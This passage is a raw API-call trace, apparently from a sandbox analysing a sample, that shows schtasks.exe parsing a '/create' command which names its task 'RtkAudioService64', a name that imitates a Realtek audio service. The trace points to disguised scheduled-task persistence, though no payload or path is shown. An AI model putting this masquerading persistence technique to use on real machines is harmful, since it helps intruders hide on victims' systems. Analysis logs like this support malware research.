_ArgList=0xcca0c | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0171.457] GetProcessHeap () returned 0x46b0000 [0171.457] GetProcessHeap () returned 0x46b0000 [0171.457] HeapValidate (hHeap=0x46b0000, dwFlags=0x0, lpMem=0x46ba0a0) returned 1 [0171.457] GetProcessHeap () returned 0x46b0000 [0171.457] RtlSizeHeap (HeapHandle=0x46b0000, Flags=0x0, MemoryPointer=0x46ba0a0) returned 0x776 [0171.458] RtlFreeHeap (HeapHandle=0x46b0000, Flags=0x0, BaseAddress=0x46ba0a0) returned 1 [0171.458] RtlRestoreLastWin32Error () returned 0x0 [0171.458] GetThreadLocale () returned 0x409 [0171.458] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0171.458] lstrlenW (lpString="create") returned 6 [0171.458] GetThreadLocale () returned 0x409 [0171.458] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0171.458] lstrlenW (lpString="?") returned 1 [0171.458] GetThreadLocale () returned 0x409 [0171.459] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0171.459] lstrlenW (lpString="s") returned 1 [0171.459] GetThreadLocale () returned 0x409 [0171.459] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0171.459] lstrlenW (lpString="u") returned 1 [0171.459] GetThreadLocale () returned 0x409 [0171.459] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0171.459] lstrlenW (lpString="p") returned 1 [0171.459] GetThreadLocale () returned 0x409 [0171.459] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0171.459] lstrlenW (lpString="ru") returned 2 [0171.459] GetThreadLocale () returned 0x409 [0171.459] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0171.459] lstrlenW (lpString="rp") returned 2 [0171.459] GetThreadLocale () returned 0x409 [0171.459] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0171.459] lstrlenW (lpString="sc") returned 2 [0171.460] GetThreadLocale () returned 0x409 [0171.460] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0171.460] lstrlenW (lpString="mo") returned 2 [0171.460] GetThreadLocale () returned 0x409 [0171.460] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0171.460] lstrlenW (lpString="d") returned 1 [0171.460] GetThreadLocale () returned 0x409 [0171.460] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0171.460] lstrlenW (lpString="m") returned 1 [0171.460] GetThreadLocale () returned 0x409 [0171.460] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0171.460] lstrlenW (lpString="i") returned 1 [0171.460] GetThreadLocale () returned 0x409 [0171.460] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0171.460] lstrlenW (lpString="tn") returned 2 [0171.460] GetThreadLocale () returned 0x409 [0171.460] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0171.461] lstrlenW (lpString="tr") returned 2 [0171.461] GetThreadLocale () returned 0x409 [0171.461] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0171.461] lstrlenW (lpString="st") returned 2 [0171.461] GetThreadLocale () returned 0x409 [0171.461] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0171.461] lstrlenW (lpString="sd") returned 2 [0171.461] GetThreadLocale () returned 0x409 [0171.461] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0171.461] lstrlenW (lpString="ed") returned 2 [0171.461] GetThreadLocale () returned 0x409 [0171.461] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0171.461] lstrlenW (lpString="it") returned 2 [0171.461] GetThreadLocale () returned 0x409 [0171.461] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0171.461] lstrlenW (lpString="et") returned 2 [0171.461] GetThreadLocale () returned 0x409 [0171.462] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0171.462] lstrlenW (lpString="k") returned 1 [0171.462] GetThreadLocale () returned 0x409 [0171.462] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0171.462] lstrlenW (lpString="du") returned 2 [0171.462] GetThreadLocale () returned 0x409 [0171.462] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0171.462] lstrlenW (lpString="ri") returned 2 [0171.462] GetThreadLocale () returned 0x409 [0171.462] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0171.462] lstrlenW (lpString="z") returned 1 [0171.462] GetThreadLocale () returned 0x409 [0171.462] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0171.462] lstrlenW (lpString="f") returned 1 [0171.462] GetThreadLocale () returned 0x409 [0171.462] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0171.462] lstrlenW (lpString="v1") returned 2 [0171.462] GetThreadLocale () returned 0x409 [0171.463] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0171.463] lstrlenW (lpString="xml") returned 3 [0171.463] GetThreadLocale () returned 0x409 [0171.463] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0171.463] lstrlenW (lpString="ec") returned 2 [0171.463] GetThreadLocale () returned 0x409 [0171.463] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0171.463] lstrlenW (lpString="rl") returned 2 [0171.463] GetThreadLocale () returned 0x409 [0171.463] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0171.463] lstrlenW (lpString="delay") returned 5 [0171.463] GetThreadLocale () returned 0x409 [0171.463] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0171.463] lstrlenW (lpString="np") returned 2 [0171.463] GetThreadLocale () returned 0x409 [0171.463] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0171.463] lstrlenW (lpString="hresult") returned 7 [0171.464] RtlRestoreLastWin32Error () returned 0x0 [0171.464] RtlRestoreLastWin32Error () returned 0x0 [0171.464] lstrlenW (lpString="/create") returned 7 [0171.464] lstrlenW (lpString="-/") returned 2 [0171.464] StrChrIW (lpStart="-/", wMatch=0x488002f) returned="/" [0171.464] lstrlenW (lpString="create") returned 6 [0171.464] lstrlenW (lpString="create") returned 6 [0171.464] _memicmp (_Buf1=0x46b75f8, _Buf2=0x232708, _Size=0x7) returned 0 [0171.464] lstrlenW (lpString="create") returned 6 [0171.464] _memicmp (_Buf1=0x46b7598, _Buf2=0x232708, _Size=0x7) returned 0 [0171.464] _vsnwprintf (in: _Buffer=0x46b9638, _BufferCount=0x9, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|create|") returned 8 [0171.464] _vsnwprintf (in: _Buffer=0x46b9618, _BufferCount=0x9, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|create|") returned 8 [0171.464] lstrlenW (lpString="|create|") returned 8 [0171.464] lstrlenW (lpString="|create|") returned 8 [0171.464] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0171.464] RtlRestoreLastWin32Error () returned 0x0 [0171.465] RtlRestoreLastWin32Error () returned 0x0 [0171.465] RtlRestoreLastWin32Error () returned 0x0 [0171.465] lstrlenW (lpString="/tn") returned 3 [0171.465] lstrlenW (lpString="-/") returned 2 [0171.465] StrChrIW (lpStart="-/", wMatch=0x488002f) returned="/" [0171.465] lstrlenW (lpString="create") returned 6 [0171.465] lstrlenW (lpString="create") returned 6 [0171.465] _memicmp (_Buf1=0x46b75f8, _Buf2=0x232708, _Size=0x7) returned 0 [0171.465] lstrlenW (lpString="tn") returned 2 [0171.465] _memicmp (_Buf1=0x46b7598, _Buf2=0x232708, _Size=0x7) returned 0 [0171.465] _vsnwprintf (in: _Buffer=0x46b9638, _BufferCount=0x9, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|create|") returned 8 [0171.465] _vsnwprintf (in: _Buffer=0x46b9618, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|tn|") returned 4 [0171.465] lstrlenW (lpString="|create|") returned 8 [0171.465] lstrlenW (lpString="|tn|") returned 4 [0171.465] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0171.465] RtlRestoreLastWin32Error () returned 0x490 [0171.466] lstrlenW (lpString="?") returned 1 [0171.466] lstrlenW (lpString="?") returned 1 [0171.466] _memicmp (_Buf1=0x46b75f8, _Buf2=0x232708, _Size=0x7) returned 0 [0171.466] lstrlenW (lpString="tn") returned 2 [0171.466] _memicmp (_Buf1=0x46b7598, _Buf2=0x232708, _Size=0x7) returned 0 [0171.466] _vsnwprintf (in: _Buffer=0x46b9638, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|?|") returned 3 [0171.466] _vsnwprintf (in: _Buffer=0x46b9618, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|tn|") returned 4 [0171.466] lstrlenW (lpString="|?|") returned 3 [0171.466] lstrlenW (lpString="|tn|") returned 4 [0171.466] RtlRestoreLastWin32Error () returned 0x490 [0171.466] lstrlenW (lpString="s") returned 1 [0171.466] lstrlenW (lpString="s") returned 1 [0171.466] _memicmp (_Buf1=0x46b75f8, _Buf2=0x232708, _Size=0x7) returned 0 [0171.466] lstrlenW (lpString="tn") returned 2 [0171.466] _memicmp (_Buf1=0x46b7598, _Buf2=0x232708, _Size=0x7) returned 0 [0171.467] _vsnwprintf (in: _Buffer=0x46b9638, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|s|") returned 3 [0171.467] _vsnwprintf (in: _Buffer=0x46b9618, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|tn|") returned 4 [0171.467] lstrlenW (lpString="|s|") returned 3 [0171.467] lstrlenW (lpString="|tn|") returned 4 [0171.467] RtlRestoreLastWin32Error () returned 0x490 [0171.467] lstrlenW (lpString="u") returned 1 [0171.467] lstrlenW (lpString="u") returned 1 [0171.467] _memicmp (_Buf1=0x46b75f8, _Buf2=0x232708, _Size=0x7) returned 0 [0171.467] lstrlenW (lpString="tn") returned 2 [0171.467] _memicmp (_Buf1=0x46b7598, _Buf2=0x232708, _Size=0x7) returned 0 [0171.467] _vsnwprintf (in: _Buffer=0x46b9638, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|u|") returned 3 [0171.467] _vsnwprintf (in: _Buffer=0x46b9618, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|tn|") returned 4 [0171.467] lstrlenW (lpString="|u|") returned 3 [0171.467] lstrlenW (lpString="|tn|") returned 4 [0171.467] RtlRestoreLastWin32Error () returned 0x490 [0171.468] lstrlenW (lpString="p") returned 1 [0171.468] lstrlenW (lpString="p") returned 1 [0171.468] _memicmp (_Buf1=0x46b75f8, _Buf2=0x232708, _Size=0x7) returned 0 [0171.468] lstrlenW (lpString="tn") returned 2 [0171.468] _memicmp (_Buf1=0x46b7598, _Buf2=0x232708, _Size=0x7) returned 0 [0171.468] _vsnwprintf (in: _Buffer=0x46b9638, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|p|") returned 3 [0171.468] _vsnwprintf (in: _Buffer=0x46b9618, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|tn|") returned 4 [0171.468] lstrlenW (lpString="|p|") returned 3 [0171.468] lstrlenW (lpString="|tn|") returned 4 [0171.468] RtlRestoreLastWin32Error () returned 0x490 [0171.468] lstrlenW (lpString="ru") returned 2 [0171.468] lstrlenW (lpString="ru") returned 2 [0171.468] _memicmp (_Buf1=0x46b75f8, _Buf2=0x232708, _Size=0x7) returned 0 [0171.468] lstrlenW (lpString="tn") returned 2 [0171.468] _memicmp (_Buf1=0x46b7598, _Buf2=0x232708, _Size=0x7) returned 0 [0171.469] _vsnwprintf (in: _Buffer=0x46b9638, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|ru|") returned 4 [0171.469] _vsnwprintf (in: _Buffer=0x46b9618, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|tn|") returned 4 [0171.469] lstrlenW (lpString="|ru|") returned 4 [0171.469] lstrlenW (lpString="|tn|") returned 4 [0171.469] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0171.469] RtlRestoreLastWin32Error () returned 0x490 [0171.469] lstrlenW (lpString="rp") returned 2 [0171.469] lstrlenW (lpString="rp") returned 2 [0171.469] _memicmp (_Buf1=0x46b75f8, _Buf2=0x232708, _Size=0x7) returned 0 [0171.470] lstrlenW (lpString="tn") returned 2 [0171.470] _memicmp (_Buf1=0x46b7598, _Buf2=0x232708, _Size=0x7) returned 0 [0171.470] _vsnwprintf (in: _Buffer=0x46b9638, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|rp|") returned 4 [0171.470] _vsnwprintf (in: _Buffer=0x46b9618, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|tn|") returned 4 [0171.470] lstrlenW (lpString="|rp|") returned 4 [0171.470] lstrlenW (lpString="|tn|") returned 4 [0171.470] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0171.470] RtlRestoreLastWin32Error () returned 0x490 [0171.470] lstrlenW (lpString="sc") returned 2 [0171.470] lstrlenW (lpString="sc") returned 2 [0171.470] _memicmp (_Buf1=0x46b75f8, _Buf2=0x232708, _Size=0x7) returned 0 [0171.470] lstrlenW (lpString="tn") returned 2 [0171.470] _memicmp (_Buf1=0x46b7598, _Buf2=0x232708, _Size=0x7) returned 0 [0171.470] _vsnwprintf (in: _Buffer=0x46b9638, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|sc|") returned 4 [0171.470] _vsnwprintf (in: _Buffer=0x46b9618, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|tn|") returned 4 [0171.471] lstrlenW (lpString="|sc|") returned 4 [0171.471] lstrlenW (lpString="|tn|") returned 4 [0171.471] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0171.471] RtlRestoreLastWin32Error () returned 0x490 [0171.471] lstrlenW (lpString="mo") returned 2 [0171.471] lstrlenW (lpString="mo") returned 2 [0171.471] _memicmp (_Buf1=0x46b75f8, _Buf2=0x232708, _Size=0x7) returned 0 [0171.471] lstrlenW (lpString="tn") returned 2 [0171.471] _memicmp (_Buf1=0x46b7598, _Buf2=0x232708, _Size=0x7) returned 0 [0171.471] _vsnwprintf (in: _Buffer=0x46b9638, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|mo|") returned 4 [0171.471] _vsnwprintf (in: _Buffer=0x46b9618, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|tn|") returned 4 [0171.471] lstrlenW (lpString="|mo|") returned 4 [0171.471] lstrlenW (lpString="|tn|") returned 4 [0171.471] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0171.471] RtlRestoreLastWin32Error () returned 0x490 [0171.471] lstrlenW (lpString="d") returned 1 [0171.472] lstrlenW (lpString="d") returned 1 [0171.472] _memicmp (_Buf1=0x46b75f8, _Buf2=0x232708, _Size=0x7) returned 0 [0171.472] lstrlenW (lpString="tn") returned 2 [0171.472] _memicmp (_Buf1=0x46b7598, _Buf2=0x232708, _Size=0x7) returned 0 [0171.472] _vsnwprintf (in: _Buffer=0x46b9638, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|d|") returned 3 [0171.472] _vsnwprintf (in: _Buffer=0x46b9618, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|tn|") returned 4 [0171.472] lstrlenW (lpString="|d|") returned 3 [0171.472] lstrlenW (lpString="|tn|") returned 4 [0171.472] RtlRestoreLastWin32Error () returned 0x490 [0171.472] lstrlenW (lpString="m") returned 1 [0171.472] lstrlenW (lpString="m") returned 1 [0171.472] _memicmp (_Buf1=0x46b75f8, _Buf2=0x232708, _Size=0x7) returned 0 [0171.472] lstrlenW (lpString="tn") returned 2 [0171.472] _memicmp (_Buf1=0x46b7598, _Buf2=0x232708, _Size=0x7) returned 0 [0171.473] _vsnwprintf (in: _Buffer=0x46b9638, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|m|") returned 3 [0171.473] _vsnwprintf (in: _Buffer=0x46b9618, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|tn|") returned 4 [0171.473] lstrlenW (lpString="|m|") returned 3 [0171.473] lstrlenW (lpString="|tn|") returned 4 [0171.473] RtlRestoreLastWin32Error () returned 0x490 [0171.473] lstrlenW (lpString="i") returned 1 [0171.473] lstrlenW (lpString="i") returned 1 [0171.473] _memicmp (_Buf1=0x46b75f8, _Buf2=0x232708, _Size=0x7) returned 0 [0171.473] lstrlenW (lpString="tn") returned 2 [0171.473] _memicmp (_Buf1=0x46b7598, _Buf2=0x232708, _Size=0x7) returned 0 [0171.473] _vsnwprintf (in: _Buffer=0x46b9638, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|i|") returned 3 [0171.473] _vsnwprintf (in: _Buffer=0x46b9618, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|tn|") returned 4 [0171.473] lstrlenW (lpString="|i|") returned 3 [0171.473] lstrlenW (lpString="|tn|") returned 4 [0171.473] RtlRestoreLastWin32Error () returned 0x490 [0171.474] lstrlenW (lpString="tn") returned 2 [0171.474] lstrlenW (lpString="tn") returned 2 [0171.474] _memicmp (_Buf1=0x46b75f8, _Buf2=0x232708, _Size=0x7) returned 0 [0171.474] lstrlenW (lpString="tn") returned 2 [0171.474] _memicmp (_Buf1=0x46b7598, _Buf2=0x232708, _Size=0x7) returned 0 [0171.474] _vsnwprintf (in: _Buffer=0x46b9638, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|tn|") returned 4 [0171.474] _vsnwprintf (in: _Buffer=0x46b9618, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|tn|") returned 4 [0171.474] lstrlenW (lpString="|tn|") returned 4 [0171.474] lstrlenW (lpString="|tn|") returned 4 [0171.474] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0171.474] RtlRestoreLastWin32Error () returned 0x0 [0171.474] RtlRestoreLastWin32Error () returned 0x0 [0171.474] lstrlenW (lpString="RtkAudioService64") returned 17 [0171.474] lstrlenW (lpString="-/") returned 2 [0171.474] StrChrIW (lpStart="-/", wMatch=0x4880052) returned 0x0 [0171.475] RtlRestoreLastWin32Error () returned 0x490 [0171.475] RtlRestoreLastWin32Error () returned 0x490 [0171.475] RtlRestoreLastWin32Error () returned 0x0 [0171.475] lstrlenW (lpString="RtkAudioService64") returned 17 [0171.475] StrChrIW (lpStart="RtkAudioService64", wMatch=0x3a) returned 0x0 [0171.475] RtlRestoreLastWin32Error () returned 0x490 [0171.475] RtlRestoreLastWin32Error () returned 0x0 [0171.475] lstrlenW (lpString="RtkAudioService64") returned 17 [0171.475] RtlRestoreLastWin32Error () returned 0x0 [0171.475] RtlRestoreLastWin32Error () returned 0x0 [0171.475] lstrlenW (lpString="/tr") returned 3 [0171.475] lstrlenW (lpString="-/") returned 2 [0171.475] StrChrIW (lpStart="-/", wMatch=0x488002f) returned="/" [0171.475] lstrlenW (lpString="create") returned 6 [0171.475] lstrlenW (lpString="create") returned 6 [0171.475] _memicmp (_Buf1=0x46b75f8, _Buf2=0x232708, _Size=0x7) returned 0 [0171.475] lstrlenW (lpString="tr") returned 2 [0171.476] _memicmp (_Buf1=0x46b7598, _Buf2=0x232708, _Size=0x7) returned 0 [0171.476] _vsnwprintf (in: _Buffer=0x46b9638, _BufferCount=0x9, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|create|") returned 8 [0171.476] _vsnwprintf (in: _Buffer=0x46b9618, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|tr|") returned 4 [0171.476] lstrlenW (lpString="|create|") returned 8 [0171.476] lstrlenW (lpString="|tr|") returned 4 [0171.476] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0171.476] RtlRestoreLastWin32Error () returned 0x490 [0171.476] lstrlenW (lpString="?") returned 1 [0171.476] lstrlenW (lpString="?") returned 1 [0171.476] _memicmp (_Buf1=0x46b75f8, _Buf2=0x232708, _Size=0x7) returned 0 [0171.476] lstrlenW (lpString="tr") returned 2 [0171.476] _memicmp (_Buf1=0x46b7598, _Buf2=0x232708, _Size=0x7) returned 0 [0171.476] _vsnwprintf (in: _Buffer=0x46b9638, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|?|") returned 3 [0171.476] _vsnwprintf (in: _Buffer=0x46b9618, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|tr|") returned 4 [0171.476] lstrlenW (lpString="|?|") returned 3 [0171.477] lstrlenW (lpString="|tr|") returned 4 [0171.477] RtlRestoreLastWin32Error () returned 0x490 [0171.477] lstrlenW (lpString="s") returned 1 [0171.477] lstrlenW (lpString="s") returned 1 [0171.477] _memicmp (_Buf1=0x46b75f8, _Buf2=0x232708, _Size=0x7) returned 0 [0171.477] lstrlenW (lpString="tr") returned 2 [0171.477] _memicmp (_Buf1=0x46b7598, _Buf2=0x232708, _Size=0x7) returned 0 [0171.477] _vsnwprintf (in: _Buffer=0x46b9638, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|s|") returned 3 [0171.477] _vsnwprintf (in: _Buffer=0x46b9618, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|tr|") returned 4 [0171.477] lstrlenW (lpString="|s|") returned 3 [0171.477] lstrlenW (lpString="|tr|") returned 4 [0171.477] RtlRestoreLastWin32Error () returned 0x490 [0171.477] lstrlenW (lpString="u") returned 1 [0171.477] lstrlenW (lpString="u") returned 1 [0171.477] _memicmp (_Buf1=0x46b75f8, _Buf2=0x232708, _Size=0x7) returned 0 [0171.478] lstrlenW (lpString="tr") returned 2 [0171.478] _memicmp (_Buf1=0x46b7598, _Buf2=0x232708, _Size=0x7) returned 0 [0171.478] _vsnwprintf (in: _Buffer=0x46b9638, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|u|") returned 3 [0171.478] _vsnwprintf (in: _Buffer=0x46b9618, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|tr|") returned 4 [0171.478] lstrlenW (lpString="|u|") returned 3 [0171.478] lstrlenW (lpString="|tr|") returned 4 [0171.478] RtlRestoreLastWin32Error () returned 0x490 [0171.478] lstrlenW (lpString="p") returned 1 [0171.478] lstrlenW (lpString="p") returned 1 [0171.478] _memicmp (_Buf1=0x46b75f8, _Buf2=0x232708, _Size=0x7) returned 0 [0171.478] lstrlenW (lpString="tr") returned 2 [0171.478] _memicmp (_Buf1=0x46b7598, _Buf2=0x232708, _Size=0x7) returned 0 [0171.478] _vsnwprintf (in: _Buffer=0x46b9638, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|p|") returned 3 [0171.478] _vsnwprintf (in: _Buffer=0x46b9618, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|tr|") returned 4 [0171.478] lstrlenW (lpString="|p|") returned 3 [0171.478] lstrlenW (lpString="|tr|") returned 4 [0171.479] RtlRestoreLastWin32Error () returned 0x490 [0171.479] lstrlenW (lpString="ru") returned 2 [0171.479] lstrlenW (lpString="ru") returned 2 [0171.479] _memicmp (_Buf1=0x46b75f8, _Buf2=0x232708, _Size=0x7) returned 0 [0171.479] lstrlenW (lpString="tr") returned 2 [0171.479] _memicmp (_Buf1=0x46b7598, _Buf2=0x232708, _Size=0x7) returned 0 [0171.479] _vsnwprintf (in: _Buffer=0x46b9638, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|ru|") returned 4 [0171.479] _vsnwprintf (in: _Buffer=0x46b9618, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|tr|") returned 4 [0171.479] lstrlenW (lpString="|ru|") returned 4 [0171.479] lstrlenW (lpString="|tr|") returned 4 [0171.479] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0171.479] RtlRestoreLastWin32Error () returned 0x490 [0171.479] lstrlenW (lpString="rp") returned 2 [0171.479] lstrlenW (lpString="rp") returned 2 [0171.479] _memicmp (_Buf1=0x46b75f8, _Buf2=0x232708, _Size=0x7) returned 0 [0171.480] lstrlenW (lpString="tr") returned 2 [0171.480] _memicmp (_Buf1=0x46b7598, _Buf2=0x232708, _Size=0x7) returned 0 [0171.480] _vsnwprintf (in: _Buffer=0x46b9638, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|rp|") returned 4 [0171.480] _vsnwprintf (in: _Buffer=0x46b9618, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|tr|") returned 4 [0171.480] lstrlenW (lpString="|rp|") returned 4 [0171.480] lstrlenW (lpString="|tr|") returned 4 [0171.480] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0171.480] RtlRestoreLastWin32Error () returned 0x490 [0171.480] lstrlenW (lpString="sc") returned 2 [0171.480] lstrlenW (lpString="sc") returned 2 [0171.480] _memicmp (_Buf1=0x46b75f8, _Buf2=0x232708, _Size=0x7) returned 0 [0171.480] lstrlenW (lpString="tr") returned 2 [0171.480] _memicmp (_Buf1=0x46b7598, _Buf2=0x232708, _Size=0x7) returned 0 [0171.480] _vsnwprintf (in: _Buffer=0x46b9638, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|sc|") returned 4 [0171.480] _vsnwprintf (in: _Buffer=0x46b9618, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|tr|") returned 4 [0171.481] lstrlenW (lpString="|sc|") returned 4 [0171.481] lstrlenW (lpString="|tr|") returned 4 [0171.481] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0171.481] RtlRestoreLastWin32Error () returned 0x490 [0171.481] lstrlenW (lpString="mo") returned 2 [0171.481] lstrlenW (lpString="mo") returned 2 [0171.481] _memicmp (_Buf1=0x46b75f8, _Buf2=0x232708, _Size=0x7) returned 0 [0171.481] lstrlenW (lpString="tr") returned 2 [0171.481] _memicmp (_Buf1=0x46b7598, _Buf2=0x232708, _Size=0x7) returned 0 [0171.481] _vsnwprintf (in: _Buffer=0x46b9638, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|mo|") returned 4 [0171.481] _vsnwprintf (in: _Buffer=0x46b9618, 